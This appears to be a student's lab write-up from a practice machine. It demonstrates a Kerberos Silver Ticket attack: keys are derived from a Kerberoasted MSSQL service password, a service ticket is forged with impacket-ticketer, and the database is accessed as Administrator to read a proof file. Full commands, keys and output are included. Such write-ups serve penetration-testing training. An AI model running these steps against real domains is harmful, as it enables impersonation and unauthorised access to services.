Silver Ticket Attack (TGS Forgery)
The Silver ticket attack is based on crafting a valid TGS for a service once the NTLM hash of service is owned (or AES hash of Kerberos key). Thus, it is possible to gain access to that service by forging a custom TGS as any user. It also must be taken into account that it is possible AND PREFERABLE (OPSEC) to forge tickets using the AES Kerberos keys (AES128 and AES256)
The current context is that the svc_mssql
account is a service account for the target MSSQL instance with the SPN set to MSSQL/nagoya.nagoya-industries.com
. The account has already been compromised through Kerberoasting earlier, and the target MSSQL instance has been tunneled for ease of access from Kali.
NTLM Hash or Kerberos Key(AES Hash)
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/nagoya]
└─$ ADKeygen -domain NAGOYA-INDUSTRIES.COM -user svc_mssql -pass Service1
[*] Salt: NAGOYA-INDUSTRIES.COMsvc_mssql
[+] AES256 Key: 24D73DD98EF15BF04ACF5D3FEB6741350D4011268AAC268935BDDE1AD463B05B
[+] AES128 Key: 42EFDE8C2CF59D161003833D776C6DD7
[+] NTLM Hash: E3A0168BC21CFB88B95C954A5B18F57C
Grabbing the AES256 key
TGS Forgery
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/nagoya]
└─$ impacket-ticketer gimmeMSSQL -spn MSSQL/nagoya.nagoya-industries.com -domain NAGOYA-INDUSTRIES.COM -domain-sid S-1-5-21-1969309164-1513403977-1686805993 -aesKey 24D73DD98EF15BF04ACF5D3FEB6741350D4011268AAC268935BDDE1AD463B05B
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for NAGOYA-INDUSTRIES.COM/gimmeMSSQL
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in gimmeMSSQL.ccache
Forging a TGS with an arbitrary account, gimmeMSSQL
, for the MSSQL/nagoya.nagoya-industries.com
SPN
Domain name, SID, and AES key of the service account (svc_mssql
) were provided to build a TGS
Session
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/nagoya]
└─$ KRB5CCNAME=gimmeMSSQL.ccache proxychains4 -q impacket-mssqlclient NAGOYA-INDUSTRIES.COM/@nagoya.nagoya-industries.com -no-pass -k -dc-ip $IP -target-ip $IP
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(nagoya\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(nagoya\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (NAGOYA-IND\Administrator dbo@master)>
SQL (NAGOYA-IND\Administrator dbo@master)> SELECT system_user;
------------------------
NAGOYA-IND\Administrator
SQL (NAGOYA-IND\Administrator dbo@master)> SELECT * FROM OPENROWSET(BULK N'C:\\Users\\Administrator\\Desktop\\proof.txt', SINGLE_CLOB) AS Contents
BulkColumn
---------------------------------------
b'224645acd3f84be05453c4d48fa35089\r\n'
Using the forged TGS, session established as the administator
user; dbo
It’s likely that the target MSSQL is running as the svc_mssql
account, given the home directory is present
Moving on to the Lateral Movement phase
Alternative
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/nagoya]
└─$ proxychains4 -q impacket-mssqlclient NAGOYA-INDUSTRIES.COM/svc_mssql@nagoya.nagoya-industries.com -dc-ip $IP -target-ip $IP -windows-auth
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password: Service1
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(nagoya\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(nagoya\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (NAGOYA-IND\svc_mssql guest@master)>
or skip the silver ticket attack all together and just auth as the svc_mssql
account with the -windows-auth
flag